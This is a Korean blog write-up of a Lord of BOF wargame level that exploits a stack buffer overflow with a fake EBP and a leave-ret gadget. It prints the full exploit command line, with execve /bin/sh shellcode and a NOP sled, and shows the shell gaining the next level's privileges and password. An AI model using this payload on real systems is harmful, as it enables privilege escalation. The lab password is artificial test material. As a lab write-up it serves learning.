소스코드. FEBP 문제라고 한다.
FEBP = Fake EBP
FPO와 상당히 유사하다.
라이트업 작성 중, 이전 레벨들에서 설명한 개념들은 생략하고 쓰도록 하겠다.
EBP Overwrite+RET->Leave-ret->shellcode(in stack)
형식으로 exploit을 시도해보자.
leave-ret가 뭐에요?
정상적인 leave 명령은 이전 스택 프레임의 EBP를 찾아 가기 위한 명령이다.
esp를 ebp로 mov 시키고
pop하여 ebp를 이전 스택 프레임의 EBP 위치로 되돌린다.
ESP는 pop을 통해 자연스레 +4 된다.
이후 ret 명령은 우리가 알고있는대로 pop eip로써
EIP 값을 조정한다.
< 그림 >
페이로드는 다음과 같다.
&shellcode*10(총 40바이트) + FEBP + &leave-ret
shellcode는 스택에 싣는다.
FEBP를 덮을 값은 &buffer-4.
leave-ret의 주소는 gdb-disas main을 통해 알 수 있다.
이제 주소값을 얻어보자.
<buf, shellcode address 찾기>
mkdir /tmp/dirassassin
cd /tmp/dirassassin
cp ~/zombie_assassin .
./zombie_assassin `python -c 'print "A"*40+"BBBB"+"CCCC"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
seg fault를 발생시키고 core dump를 보자.
x/20x $esp-80
0x41로 덮어진 버퍼를 찾을 수 있다.
좀 더 높은 주소에서 \x90+shellcode를 찾을 수 있다.
buf와 febp에 덮을 주소는 찾았다.
leave-ret의 주소를 찾아보자.
<GDB-leave-ret>
gdb -q ./zombie_assassin
disas main
자, 이제 페이로드를 완성 시킬 수 있다.
exploit을 시도해보자.
<exploit>
[assassin@localhost dirassassin]$ ./zombie_assassin `python -c 'print "\xd0\xd5\xff\xbf"*10+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿@Կ¿߄
bash$ exit
exit
[assassin@localhost dirassassin]$ ln -sf ~/zombie_assassin zombie_assassin
[assassin@localhost dirassassin]$ ./zombie_assassin `python -c 'print "\xd0\xd5\xff\xbf"*10+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿ѕÿ¿@Կ¿߄
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide
bash$
zombie_assassin의 패스워드는 no place to hide
'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글
LOB succubus -> nightmare (0) | 2015.11.18 |
---|---|
LOB zombie_assassin -> succubus (0) | 2015.11.18 |
LOB giant -> assassin (0) | 2015.11.18 |
LOB bugbear -> giant (0) | 2015.11.18 |
LOB darkknight -> bugbear (0) | 2015.11.15 |
WRITTEN BY
- hojongs
블로그 옮겼습니다 https://hojongs.github.io/